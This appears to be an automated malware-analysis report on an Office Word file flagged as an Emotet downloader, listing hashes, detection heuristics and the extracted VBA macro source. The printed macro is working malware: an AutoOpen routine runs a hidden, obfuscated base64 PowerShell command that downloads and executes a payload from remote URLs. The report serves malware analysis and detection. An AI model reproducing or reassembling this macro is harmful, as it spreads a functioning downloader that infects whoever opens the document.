Office (OLE) malware analysis — malicious · 07a07a322896260a

MALICIOUS

Office (OLE)

92.5 KB Created: 2018-05-24 14:06:00 Authoring application: Microsoft Office Word First seen: 2018-07-08

MD5: 47862b4a1ac4c7185661f98596d390c3 SHA-1: cd0ccaa209f51ee26bf013493483c1e6f4b037f5 SHA-256: 07a07a322896260a673c60a2e3e2feb7eb67165817f8f5a573badca9d38b262d

210 Risk Score

Heuristics 7

ClamAV: Doc.Downloader.Emotet-7012579-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet-7012579-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA

Matched line in script

CBibBr = 25398
zjdzjSIuw = Shell(TKAuaZDAG + Chr(vbKeyP) + JIXsVtFRbT + UvKjoI, vbHide)
wWROt = wvCjJ - Cos(YVjiI) * 1 - Chr(87339) / 46824 - ChrB(OwtRBT)

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
End Function
Sub Autoopen()
On Error Resume Next
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13268 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	13268 bytes
SHA-256: `367685e79fd368abc0edc92f3373ab4e17f029cdb5d1a81b79c63aeb419c8269`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "uidtZjtuEvuHL" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function UGPrUi() On Error Resume Next LIZJT = fszSMs - Cos(UiYKt) * 1 - Chr(53999) / 62881 - ChrB(rmmir) MTjht = 2817 zCaMh = rrDCMV - Cos(zaGFBF) * 1 - Chr(38728) / 15561 - ChrB(WnbbV) ZTlSq = 26524 UGPrUi = uWhHqd + ItBRskvULqu + QjAHmSzhT + hWTvlJKk + AdUFLjSvUOM + CfDBBA + lMHquMnhC jwwMu = UokZMA - Cos(lMbfo) * 1 - Chr(64088) / 84807 - ChrB(fnkFMX) kQtid = 54228 End Function Sub Autoopen() On Error Resume Next IGpLin = mNObFh - Cos(sFiJV) * 1 - Chr(87583) / 2737 - ChrB(NGhRC) TfiWn = 83927 NVBBswfbQK (UGPrUi) UpdCE = sZWiHq - Cos(sLPVI) * 1 - Chr(66644) / 85756 - ChrB(tjdNka) ijERq = 17022 End Sub Function NVBBswfbQK(UvKjoI) On Error Resume Next QAGRu = krbZb - Cos(MIPMOF) * 1 - Chr(98171) / 11822 - ChrB(GzpTYZ) pZqzwU = 90035 OrokN = HEmnO - Cos(STqLr) * 1 - Chr(5206) / 92892 - ChrB(ARzWi) CBibBr = 25398 zjdzjSIuw = Shell(TKAuaZDAG + Chr(vbKeyP) + JIXsVtFRbT + UvKjoI, vbHide) wWROt = wvCjJ - Cos(YVjiI) * 1 - Chr(87339) / 46824 - ChrB(OwtRBT) FVKlXw = 34298 End Function Attribute VB_Name = "TucJWLFOQM" Function uWhHqd() On Error Resume Next DBCoP = InFaz - Cos(OANld) * 1 - Chr(57892) / 49672 - ChrB(ljswwo) ELFAHZ = 73196 wBmzXzVMw = "owersHe" + "LL -Wi" + "nDowsTyle hi" + "dden -" + "e KAAo" + "ACgAIgB" + "7ADIAMwB9AHsAO" + "AAxAH0" dJVMi = Omwvp - Cos(CXdOD) * 1 - Chr(43325) / 21856 - ChrB(WIFrb) DbAap = 58032 liGVOj = "AewA1" + "ADcAfQB7A" + "DMANQB" + "9AHsANQA" + "1AH0Aew" + "AxADEAfQB" + "7ADEANQB9AHsA" + "NQAxAH0A" cjcHRv = WuvBH - Cos(kjirw) * 1 - Chr(70447) / 26351 - ChrB(BVDik) VmmVF = 22280 iznwjErNf = "ewA4ADAAfQB" + "7ADEANgB" + "9AHsAM" + "gAyAH0Ae" + "wA2ADkAfQB7ADQ" + "AMwB9AHsAN" + "gA3AH0AewA1ADYA" + "fQB7ADYA" aoAGlb = CcMEk - Cos(jWtIi) * 1 - Chr(10166) / 31688 - ChrB(aOYdh) ljIavv = 56194 UtAKsVsD = "NgB9AHsANQA0AH" + "0AewA" + "xADcA" + "fQB7ADQANwB9AHs" + "AMwA4AH0AewA" + "4AH0AewAxADkAf" shkKJ = KYIzu - Cos(awtdrA) * 1 - Chr(90592) / 53468 - ChrB(ZcdEqT) UmIod = 50198 zmkCBU = "QB7ADIANQB" + "9AHsAMw" + "AzAH0AewAyA" + "DgAfQB7ADIANwB9" + "AHsAMQB9AHsANwB" + "9AHsANAAwAH0A" + "ewAzAH0AewA2" LYUvHF = GZjDK - Cos(qfivAB) * 1 - Chr(20145) / 37591 - ChrB(HFTpr) VqFzA = 40278 PwQEw = "ADIAfQB7ADMAM" + "gB9AHsANgA1" + "AH0AewA0ADIAfQB" + "7ADkAfQB7" + "ADcAMgB9AHsANw" + "A4AH0AewAzADEA" EXEnWw = DuAfh - Cos(pDNocP) * 1 - Chr(19582) / 12698 - ChrB(OcSOw) idEJRI = 50553 izTSthQlGLV = "fQB7ADEAMA" + "B9AHsAOAA1AH0Ae" + "wA1ADMAfQB7A" + "DcAMAB9AHsAOAA0" qNfNA = NEnIO - Cos(SdRXk) * 1 - Chr(20702) / 51673 - ChrB(IcVIwi) QwVPT = 28737 NUjnKwBp = "AH0AewAy" + "ADEAfQB" + "7ADcANQB9AH" + "sANwA5" + "AH0AewA4ADYA" XbzCJE = JoKzj - Cos(EMjZG) * 1 - Chr(65391) / 73684 - ChrB(NrWOR) wHSsvA = 50228 KLWdv = "fQB7A" + "DQANgB9AHsAM" + "wA2AH0AewA2" + "ADAAfQB7ADgAM" + "gB9AHsA" + "MwA5AH0Ae" + "wAwAH0A" + "ewAxAD" + "gAfQB7" qZiBW = wnKIPQ - Cos(EQwIl) * 1 - Chr(55053) / 78182 - ChrB(janrW) CWREi = 85249 zZXuvFFTR = "ADUAMAB9AHsAMg" + "A0AH0AewA" + "4ADMAf" + "QB7ADcAMQB9AHsA" + "MQAzAH0AewA3ADQ" uWhHqd = wBmzXzVMw + liGVOj + iznwjErNf + UtAKsVsD + zmkCBU + PwQEw + izTSthQlGLV + NUjnKwBp + KLWdv + zZXuvFFTR End Function Function ItBRskvULqu() On Error Resume Next VGqFLB = ahOwB - Cos(srVjJ) * 1 - Chr(45119) / 72045 - ChrB(HzvJzd) RtEjXR = 65785 SjVuH = "AfQB7ADYANAB" + "9AHsANA" + "A1AH0AewA" + "0ADEAfQB7ADMANA" + "B9AHsANAA0AH" + "0AewA1ADgAfQB7" + "ADUAfQB7ADIA" + "OQB9AHs" + "ANQA5AH0AewA1A" GCaaj = BMoqFO - Cos(AhuLG) * 1 - Chr(4770) / 28395 - ChrB(vwLYI) oJSdA = 20072 jmzqaohFc = "DIAfQ" + "B7ADEAMgB9AH" + "sANAB9AHsA" + "NgAzAH0Ae" + "wA2ADEA" PhjwBN = nGSuP - Cos(QLJVQO) * 1 - Chr(37396) / 4326 - ChrB(GOCba) CWMFD = 55583 VwsSmibAB = "fQB7AD" + "YAOAB9AHsANAA" + "4AH0AewA3ADM" + "AfQB7A" + "DMAMAB9AHsAMg" + "A2AH0AewAyADA" + "AfQB7A" + "DcANgB9AHsAMgB" ALOFpJ = oiRIX - Cos(czwMlq) * 1 - Chr(61063) / 7827 - ChrB(UuZmrl) GoLIfK = 97415 QqdWjZJkI = "9AHsANwA" + "3AH0Aew" + "A0ADkAfQB7A" + "DYAfQB7A" + "DEANAB9AHsA" + "MwA3AH0AIg" + "AtAGYAIAAnAHY" + "AJwAsACcALw" LZJiX = wtEjkC - Cos(zTMzh) * 1 - Chr(49941) / 81252 - ChrB(fDRiD) dzOMS = 2501 vtVjdlRHu = "BAACcALAA" + "nACsARwA3AEoA" + "ZQAtAEkAdA" + "BlAG0ARwA3AEoAJ" + "wAsACcAdQAnACwA" + "JwBsAHYAegBnA" BMhzhw = AVDGj - Cos(GUzLz) * 1 - Chr(69912) / 16170 - ChrB(jWsATE) wpWSA = 67095 rDIZjAc = "E8AYQAnACwAJwB" + "pAG4AJw" + "AsACcAYQBrADsA" + "fQBjAGEA" + "dABjA" + "CcALAAnAGgAdAB" + "0AHAAOgAvAC8A" HfAAbS = JALzs - Cos(IzDPi) * 1 - Chr(86331) / 8411 - ChrB(qowNu) Efjoi = 54417 ZjLLWD = "cAByACcALAA" + "nADMAM" + "wApACcALAAnAE" + "oALwBAAGgAdAB0A" + "HAAJw" + "AsACcALwBAAGgAd" + "AAnACwAJw" + "A3AEoA" + "KwBHADc" + "ASgB0AEc" NTLwJ = SWWjBa - Cos(LwmHjI) * 1 - Chr(58691) / 57316 - ChrB(qDmjN) iTWQQ = 19301 FjNXsMvW = "ANwAnA" + "CwAJwBRAEQAbwB" + "2AHoAZwBXAG4AJ" + "wAsACcASgAuACc" + "ALAAnAG" + "gAewB9ACc" + "ALAAnAEoA" isSZCl = UHvmIt - Cos(tZEaz) * 1 - Chr(57330) / 92098 - ChrB(HKcdDs) KkKcQ = 38142 ptHJf = "KQAgACc" + "ALAAnA" + "DcASgAtAG" + "8AYgBqAG" + "UAYwB0AEcAN" + "wAnACwAJwB4AHQ" ItBRskvULqu = SjVuH + jmzqaohFc + VwsSmibAB + QqdWjZJkI + vtVjdlRHu + rDIZjAc + ZjLLWD + FjNXsMvW + ptHJf End Function Function QjAHmSzhT() On Error Resume Next oKFsfz = IAYTIk - Cos(RqSjzB) * 1 - Chr(69957) / 15615 - ChrB(ZiGRzK) fdmwku = 39585 Ohjvdnd = "AKAAxADAAMAAwAD" + "AALAAnACw" + "AJwA6AH" + "AAdQBiAG" + "wAaQBjACAAKwAg" + "AEcANwBKAD" wwtzK = JuHIt - Cos(swQRJj) * 1 - Chr(27746) / 61709 - ChrB(ZjlwY) qWlJXW = 25761 odMjiY = "AARABQAE" + "cAJwAsACc" + "AOwBSADIANwBB" + "AEQAQwB" + "YACAAP" + "QAgACcALAAnAD" + "cASgAr" + "AEcANwBKAGsARw" AIlwrQ = wIEQjj - Cos(UoDfo) * 1 - Chr(89010) / 48192 - ChrB(IBmMS) VwVXi = 27722 jqmqK = "AnACwAJw" + "BoAHQAdABw" + "ADoALwAvAH" + "IAJwAsAC" + "cASgAnACw" + "AJwBSAC" + "cALAAnAEo" + "AIAArACAA" JYiWP = bXhho - Cos(dCwGr) * 1 - Chr(64610) / 36751 - ChrB(izjLf) PcJisE = 40814 NpYbaE = "UgAyAC" + "cALAAn" + "AEcANwBKAA0ACgB" + "oACcALAAnADs" + "AJgAoAEcANwBKA" + "EkAbgB2AG8" KQUIYX = vbTzDo - Cos(ZsiqL) * 1 - Chr(10928) / 65144 - ChrB(pWrSH) Nwpjnh = 84282 GwiVBzB = "ARwAn" + "ACwAJwBtAC8ANQ" + "BEAEYAVwAn" + "ACwAJwAvA" liIwKn = QObIu - Cos(QECsP) * 1 - Chr(28257) / 1269 - ChrB(zRGPzh) iNQHds = 14499 amVJnJSlZ = "C8ANAByAGUAbgBl" + "AGUALgB" + "jAG8AJwAsACcA" + "IABSADIANwB" + "BACcALAAnADIAN" + "wBTAEQAQwApA" + "CcALAAnAHkA" hPuulY = QJNvw - Cos(mrXSrF) * 1 - Chr(75855) / 33044 - ChrB(jLFvl) LBQLJ = 16127 bKZQqqlO = "LgBjAG8AbQAv" + "AGIAcgBpAGQAYQB" + "sAC8ATwA1ADkAUQ" + "AnACwAJw" + "BuACcALAAnAH" + "QAdABwADoAJwA" + "sACcA" cUTOC = BzCEki - Cos(WsommU) * 1 - Chr(58945) / 60182 - ChrB(jpqnIE) wknlS = 27072 LRhzjiql = "aAAnA" + "CwAJwAoAEc" + "ANwBK" + "AG4ARwA3ACcAL" + "AAnACkAJwAsA" + "CcAfQ" + "AnACwAJwA4ADIAM" wcDwQ = iHUMu - Cos(SMiYpd) * 1 - Chr(79631) / 88080 - ChrB(iYOhwp) UzwZI = 78984 sbsflRHScc = "QAnACwAJw" + "AyADcAZQB" + "uACcALAAnAH" + "AAcgBvAG" + "QAJwA" + "sACcAZgBv" QjAHmSzhT = Ohjvdnd + odMjiY + jqmqK + NpYbaE + GwiVBzB + amVJnJSlZ + bKZQqqlO + LRhzjiql + sbsflRHScc End Function Function hWTvlJKk() On Error Resume Next KiVOaE = Visimv - Cos(LwIcU) * 1 - Chr(35204) / 39280 - ChrB(oQTPZ) WPVUdW = 39179 KsGMlG = "AHIAZQB" + "hAGMAJwAsAC" + "cANwBiADkAVQB" + "rACcALAAn" TPOpIJ = VCKunI - Cos(owoWVG) * 1 - Chr(88093) / 9574 - ChrB(LfpwOX) IZzVi = 86618 amSwXLF = "AC4AVwBlAGIAQwB" + "sAGkAZQBuAHQA" + "JwAsACcAKABS" + "ACcALAAnAGUARw" + "A3AEoAKQA7ACcA" + "LAAnA" + "DcASgBAAEcANw" + "BKACcALAAnAC" fJLJS = JVliX - Cos(YjGAOw) * 1 - Chr(27576) / 38923 - ChrB(JTKfw) BUpnUv = 65886 jAikL = "AAMgAnACwAJwBy" + "AHYAegBnAGkAd" + "gB6AGcATgBnA" + "CcALAAnA" + "CkAOwBiAHI" + "AZQAn" NKwaq = qtKbnz - Cos(BZjZQY) * 1 - Chr(20575) / 41049 - ChrB(AdUVHA) rCfqWt = 80240 hajBliRiniF = "ACwAJwA3A" + "CcALAAnAH" + "IAYQBuAGQAbwBt" + "ADsAJwAsACc" + "AQwBYACkA" + "ewB0AHIAe" + "QB7AFIAM" + "gA3AFkA" VXjNP = jswPA - Cos(GOEWXo) * 1 - Chr(44202) / 19917 - ChrB(GVdpz) ZIIGH = 68015 kGHkBzNzFRr = "WQBVAC4AU" + "gB0ACcALAA" + "nAC8ALwBqAH" + "AAbwBsAC4AYwBv" + "AG0ALwB" + "2AGsAdw" + "BmAE0AJwAsACc" DspzF = QlVGHF - Cos(dzISiW) * 1 - Chr(60329) / 97534 - ChrB(CFXRp) kqIsM = 77464 bHviAN = "AZAAuAG" + "4AZQAnACw" + "AJwBKA" + "CsARwA" + "3AEoAZQBHAD" + "cASgArAEc" + "ANwBKAHcALQBvA" + "GIAag" + "BlAGMA" + "RwAnACw" LhZip = hkOVkI - Cos(bApXkD) * 1 - Chr(36834) / 78259 - ChrB(janrFB) zOsBSl = 52159 ZAnjpYaOku = "AJwA9ACAA" + "UgAyADcA" + "bgBzA" + "GEAJwAsACcAPQ" AhlQin = mJzjkA - Cos(IIVVWz) * 1 - Chr(99022) / 90098 - ChrB(njERGr) XpYwX = 6938 dacojjVS = "AgACYAJw" + "AsACcAM" + "gA3AG" + "EAcwBmAGMAIAAn" + "ACwAJwBEAC" + "cALAAnADsAUgAy" + "ADcAJwAsACc" + "AegBnAGwAZ" + "QBSAHQAUQAo" CKBzn = rWRfMG - Cos(jwPdtF) * 1 - Chr(66021) / 95673 - ChrB(ZWduDc) LDNEpS = 22453 HGfjXWwrTUh = "AFIAMg" + "A3AGEAcw" + "BmAGM" + "ALgAnACwAJwBj" + "AHQAaQBv" zLQHR = ZEAGa - Cos(ZvDSVU) * 1 - Chr(34161) / 70121 - ChrB(WtaOcF) zBvNlv = 61768 XZiCGDo = "ACcALA" + "AnAGQARg" + "BJAHY" + "AJwAsACcANwBKA" + "CcALAAnAHM" + "ALgBjAG8AbQAvA" + "CcALAAnAGQAY" + "QBzACcALA" hWTvlJKk = KsGMlG + amSwXLF + jAikL + hajBliRiniF + kGHkBzNzFRr + bHviAN + ZAnjpYaOku + dacojjVS + HGfjXWwrTUh + XZiCGDo End Function Function AdUFLjSvUOM() On Error Resume Next objUzR = ncBTQA - Cos(jVBbob) * 1 - Chr(35501) / 80498 - ChrB(oJwFwL) piOVd = 88965 qqNvwvGvqO = "AnADsAUgAyA" + "DcATgB" + "TAEIAIAAnACwAJw" + "BSAHQAUQBUA" + "G8AUwB0ACc" + "ALAAnACk" + "AIABTAHkAcwB0" wkNtFw = JpbES - Cos(MKGEPw) * 1 - Chr(66488) / 85258 - ChrB(BMibP) pBiQp = 63411 qPDkLN = "AGUAbQAuA" + "E4AZQB0ACcALAAn" + "AC8AJ" + "wAsACcA" + "KABHADcAJ" + "wAsACc" + "AcwA6AC8" qbiNr = fTXAfl - Cos(fXKFf) * 1 - Chr(22484) / 91853 - ChrB(jAOdiA) owndt = 15190 RKSZYAS = "ALwBmAG8Ad" + "AAnACwAJwBSAHQA" + "UQAoACkALAAg" + "AFIAJwAsA" fWCGD = rdLwp - Cos(hSqYl) * 1 - Chr(56554) / 71558 - ChrB(GaUjJ) LibMCs = 85992 nhnMtHpwti = "CcAZQB" + "4AEcANwBKACs" + "ARwAnACwAJwBv" + "AGQAYwBhAHMAdAB" + "yAG8ALgBjAG8A" + "bQAvACcALA" + "AnADcASgAnAC" roDYI = uFoPnS - Cos(BwXCA) * 1 - Chr(15076) / 79254 - ChrB(FCSzX) MCwwz = 43604 XIFELccLiq = "wAJwApACgAU" + "gAyADcAUwBEAEMA" + "JwAsACcAbwBmAG" + "8AbABs" + "ACcALAAnAFY" + "AMABpAHUASgBHA" + "C8ARwA" + "3AEoAL" aCVNU = YBlEw - Cos(MKjEKC) * 1 - Chr(71133) / 6745 - ChrB(mmkalj) DpTqwz = 51466 dZXGc = "gBTAHAAbAAnACwA" + "JwBSADIANwBZ" + "AFkAVQAgAD0AIAA" + "uACgARwA3AEoAb" + "gBlAEcANwBKACsA" + "RwA3AEoA" + "dwBHADcA" BofFQL = zWGKr - Cos(wotMTW) * 1 - Chr(76664) / 31096 - ChrB(mjWrzv) FuPjkC = 42305 VcCCKcWOL = "SgArAEcAJwAsA" + "CcAMgA" + "3AG4Acw" + "BhAGQAYQ" + "BzAGQAIAAnACw" + "AJwBTAEQ" fmnTo = UapAF - Cos(Zicam) * 1 - Chr(60940) / 32811 - ChrB(vjZNY) RLvIv = 91150 WuRSvHuw = "AQwAgAD" + "0AIABSACcALAAn" + "ADcATgBTAEIAIA" + "ArACA" + "AJwAsA" + "CcAQAA" WjjiU = WRJjqs - Cos(LbRpwF) * 1 - Chr(72216) / 37617 - ChrB(wNZucw) ihFKj = 4999 LnpiQbmFKD = "nACwAJwB0AHAA" + "OgAnACwAJwBpAHQ" + "AKABHACcAKQ" + "ApACAAIAAtA" + "EMAUgBFAH" + "AATABhAGMA" + "ZQAgACAAJwB2AH" + "oAZwAnACwAWwBjA" AdUFLjSvUOM = qqNvwvGvqO + qPDkLN + RKSZYAS + nhnMtHpwti + XIFELccLiq + dZXGc + VcCCKcWOL + WuRSvHuw + LnpiQbmFKD End Function Function CfDBBA() On Error Resume Next wrSEuk = CiViAp - Cos(GLqJwv) * 1 - Chr(68367) / 35332 - ChrB(ZzZJi) liKJdV = 95470 rwjiHELV = "EgAYQByAF" + "0AOQA2ACAAIAAt" + "AEMAUgB" + "FAHAATABh" + "AGMAZQA" + "gACgA" + "WwBjAEgA" + "YQByAF" + "0AOAAyACsAWw" + "BjAEgAYQByA" Arjpuf = QbHOY - Cos(OAkHO) * 1 - Chr(58336) / 66367 - ChrB(EUbHCz) UrMYIj = 80180 MlqOU = "F0ANQ" + "AwACsAWwBjAEg" + "AYQBy" + "AF0ANQA1ACkALA" + "BbAGMASABhAHIAX" + "QAzADYALQBDA" + "FIARQBwAEwAYQ" PFpnE = XSvFi - Cos(hZBPq) * 1 - Chr(29109) / 73996 - ChrB(WIirhQ) kupQoZ = 64608 YNaXOslPtF = "BjAGUAKABb" + "AGMASABhAHIA" + "XQA4ADIAK" + "wBbAGMAS" + "ABhAHI" + "AXQAxADEANgArAF" + "sAYwBI" + "AGEAcgBdAD" + "gAMQApACwAWwB" + "jAEgAYQBy" BZrdi = BfBYbF - Cos(pwitut) * 1 - Chr(92059) / 14338 - ChrB(zFoNm) FppzA = 7230 qUUpIwIWb = "AF0AMw" + "A0ACAALQ" + "ByAEU" + "AcABMAGEAYw" + "BFACAAIAA" + "nAEcA" + "NwBKACcAL" + "ABbAGMASABhAHI" + "AXQAzADkAIAAtA" + "EMAUgBFAHAATAB" CfDBBA = rwjiHELV + MlqOU + YNaXOslPtF + qUUpIwIWb End Function Function lMHquMnhC() On Error Resume Next qzlEO = cjTGK - Cos(vwHXu) * 1 - Chr(60401) / 72548 - ChrB(dcloU) daMiiF = 83522 QbRqVp = "hAGMAZQAoAFsAY" + "wBIAG" + "EAcgBdADQAOAA" + "rAFsAYwBIAGEAcg" + "BdADY" GiHqfa = rdwiMr - Cos(wSvRO) * 1 - Chr(80396) / 43566 - ChrB(NwjUr) UkcEJ = 11946 zQVQVZLBz = "AOAArA" + "FsAYwBIA" + "GEAcgBdADgAMAAp" + "ACwAWwBj" + "AEgAY" + "QByAF0AOQAyACk" YPDALi = wmKICD - Cos(tnMrBS) * 1 - Chr(86462) / 40199 - ChrB(HLidW) WZDliZ = 5450 pKHCrCGY = "AIAB8" + "ACAAJgAgACgAIAA" + "kAHAAcwBoAE8A" + "bQBlAFsAMgAxAF" + "0AKwAkAHAAUwB" + "oAE8ATQBFA" RDHkPb = aRnZaz - Cos(NHnwD) * 1 - Chr(8618) / 92656 - ChrB(cEPGQl) RVCqv = 90409 wLEOqGnh = "FsAMwA0AF0AK" + "wAnAHgA" + "JwApAA==" lMHquMnhC = QbRqVp + zQVQVZLBz + pKHCrCGY + wLEOqGnh End Function

SHA-256: 367685e79fd368abc0edc92f3373ab4e17f029cdb5d1a81b79c63aeb419c8269

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "uidtZjtuEvuHL"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function UGPrUi()
On Error Resume Next
LIZJT = fszSMs - Cos(UiYKt) * 1 - Chr(53999) / 62881 - ChrB(rmmir)
MTjht = 2817
zCaMh = rrDCMV - Cos(zaGFBF) * 1 - Chr(38728) / 15561 - ChrB(WnbbV)
ZTlSq = 26524
UGPrUi = uWhHqd + ItBRskvULqu + QjAHmSzhT + hWTvlJKk + AdUFLjSvUOM + CfDBBA + lMHquMnhC
jwwMu = UokZMA - Cos(lMbfo) * 1 - Chr(64088) / 84807 - ChrB(fnkFMX)
kQtid = 54228
End Function
Sub Autoopen()
On Error Resume Next
IGpLin = mNObFh - Cos(sFiJV) * 1 - Chr(87583) / 2737 - ChrB(NGhRC)
TfiWn = 83927
NVBBswfbQK (UGPrUi)
UpdCE = sZWiHq - Cos(sLPVI) * 1 - Chr(66644) / 85756 - ChrB(tjdNka)
ijERq = 17022
End Sub
Function NVBBswfbQK(UvKjoI)
On Error Resume Next
QAGRu = krbZb - Cos(MIPMOF) * 1 - Chr(98171) / 11822 - ChrB(GzpTYZ)
pZqzwU = 90035
OrokN = HEmnO - Cos(STqLr) * 1 - Chr(5206) / 92892 - ChrB(ARzWi)
CBibBr = 25398
zjdzjSIuw = Shell(TKAuaZDAG + Chr(vbKeyP) + JIXsVtFRbT + UvKjoI, vbHide)
wWROt = wvCjJ - Cos(YVjiI) * 1 - Chr(87339) / 46824 - ChrB(OwtRBT)
FVKlXw = 34298
End Function


Attribute VB_Name = "TucJWLFOQM"
Function uWhHqd()
On Error Resume Next
DBCoP = InFaz - Cos(OANld) * 1 - Chr(57892) / 49672 - ChrB(ljswwo)
ELFAHZ = 73196
wBmzXzVMw = "owersHe" + "LL -Wi" + "nDowsTyle hi" + "dden -" + "e KAAo" + "ACgAIgB" + "7ADIAMwB9AHsAO" + "AAxAH0"
dJVMi = Omwvp - Cos(CXdOD) * 1 - Chr(43325) / 21856 - ChrB(WIFrb)
DbAap = 58032
liGVOj = "AewA1" + "ADcAfQB7A" + "DMANQB" + "9AHsANQA" + "1AH0Aew" + "AxADEAfQB" + "7ADEANQB9AHsA" + "NQAxAH0A"
cjcHRv = WuvBH - Cos(kjirw) * 1 - Chr(70447) / 26351 - ChrB(BVDik)
VmmVF = 22280
iznwjErNf = "ewA4ADAAfQB" + "7ADEANgB" + "9AHsAM" + "gAyAH0Ae" + "wA2ADkAfQB7ADQ" + "AMwB9AHsAN" + "gA3AH0AewA1ADYA" + "fQB7ADYA"
aoAGlb = CcMEk - Cos(jWtIi) * 1 - Chr(10166) / 31688 - ChrB(aOYdh)
ljIavv = 56194
UtAKsVsD = "NgB9AHsANQA0AH" + "0AewA" + "xADcA" + "fQB7ADQANwB9AHs" + "AMwA4AH0AewA" + "4AH0AewAxADkAf"
shkKJ = KYIzu - Cos(awtdrA) * 1 - Chr(90592) / 53468 - ChrB(ZcdEqT)
UmIod = 50198
zmkCBU = "QB7ADIANQB" + "9AHsAMw" + "AzAH0AewAyA" + "DgAfQB7ADIANwB9" + "AHsAMQB9AHsANwB" + "9AHsANAAwAH0A" + "ewAzAH0AewA2"
LYUvHF = GZjDK - Cos(qfivAB) * 1 - Chr(20145) / 37591 - ChrB(HFTpr)
VqFzA = 40278
PwQEw = "ADIAfQB7ADMAM" + "gB9AHsANgA1" + "AH0AewA0ADIAfQB" + "7ADkAfQB7" + "ADcAMgB9AHsANw" + "A4AH0AewAzADEA"
EXEnWw = DuAfh - Cos(pDNocP) * 1 - Chr(19582) / 12698 - ChrB(OcSOw)
idEJRI = 50553
izTSthQlGLV = "fQB7ADEAMA" + "B9AHsAOAA1AH0Ae" + "wA1ADMAfQB7A" + "DcAMAB9AHsAOAA0"
qNfNA = NEnIO - Cos(SdRXk) * 1 - Chr(20702) / 51673 - ChrB(IcVIwi)
QwVPT = 28737
NUjnKwBp = "AH0AewAy" + "ADEAfQB" + "7ADcANQB9AH" + "sANwA5" + "AH0AewA4ADYA"
XbzCJE = JoKzj - Cos(EMjZG) * 1 - Chr(65391) / 73684 - ChrB(NrWOR)
wHSsvA = 50228
KLWdv = "fQB7A" + "DQANgB9AHsAM" + "wA2AH0AewA2" + "ADAAfQB7ADgAM" + "gB9AHsA" + "MwA5AH0Ae" + "wAwAH0A" + "ewAxAD" + "gAfQB7"
qZiBW = wnKIPQ - Cos(EQwIl) * 1 - Chr(55053) / 78182 - ChrB(janrW)
CWREi = 85249
zZXuvFFTR = "ADUAMAB9AHsAMg" + "A0AH0AewA" + "4ADMAf" + "QB7ADcAMQB9AHsA" + "MQAzAH0AewA3ADQ"
uWhHqd = wBmzXzVMw + liGVOj + iznwjErNf + UtAKsVsD + zmkCBU + PwQEw + izTSthQlGLV + NUjnKwBp + KLWdv + zZXuvFFTR
End Function
Function ItBRskvULqu()
On Error Resume Next
VGqFLB = ahOwB - Cos(srVjJ) * 1 - Chr(45119) / 72045 - ChrB(HzvJzd)
RtEjXR = 65785
SjVuH = "AfQB7ADYANAB" + "9AHsANA" + "A1AH0AewA" + "0ADEAfQB7ADMANA" + "B9AHsANAA0AH" + "0AewA1ADgAfQB7" + "ADUAfQB7ADIA" + "OQB9AHs" + "ANQA5AH0AewA1A"
GCaaj = BMoqFO - Cos(AhuLG) * 1 - Chr(4770) / 28395 - ChrB(vwLYI)
oJSdA = 20072
jmzqaohFc = "DIAfQ" + "B7ADEAMgB9AH" + "sANAB9AHsA" + "NgAzAH0Ae" + "wA2ADEA"
PhjwBN = nGSuP - Cos(QLJVQO) * 1 - Chr(37396) / 4326 - ChrB(GOCba)
CWMFD = 55583
VwsSmibAB = "fQB7AD" + "YAOAB9AHsANAA" + "4AH0AewA3ADM" + "AfQB7A" + "DMAMAB9AHsAMg" + "A2AH0AewAyADA" + "AfQB7A" + "DcANgB9AHsAMgB"
ALOFpJ = oiRIX - Cos(czwMlq) * 1 - Chr(61063) / 7827 - ChrB(UuZmrl)
GoLIfK = 97415
QqdWjZJkI = "9AHsANwA" + "3AH0Aew" + "A0ADkAfQB7A" + "DYAfQB7A" + "DEANAB9AHsA" + "MwA3AH0AIg" + "AtAGYAIAAnAHY" + "AJwAsACcALw"
LZJiX = wtEjkC - Cos(zTMzh) * 1 - Chr(49941) / 81252 - ChrB(fDRiD)
dzOMS = 2501
vtVjdlRHu = "BAACcALAA" + "nACsARwA3AEoA" + "ZQAtAEkAdA" + "BlAG0ARwA3AEoAJ" + "wAsACcAdQAnACwA" + "JwBsAHYAegBnA"
BMhzhw = AVDGj - Cos(GUzLz) * 1 - Chr(69912) / 16170 - ChrB(jWsATE)
wpWSA = 67095
rDIZjAc = "E8AYQAnACwAJwB" + "pAG4AJw" + "AsACcAYQBrADsA" + "fQBjAGEA" + "dABjA" + "CcALAAnAGgAdAB" + "0AHAAOgAvAC8A"
HfAAbS = JALzs - Cos(IzDPi) * 1 - Chr(86331) / 8411 - ChrB(qowNu)
Efjoi = 54417
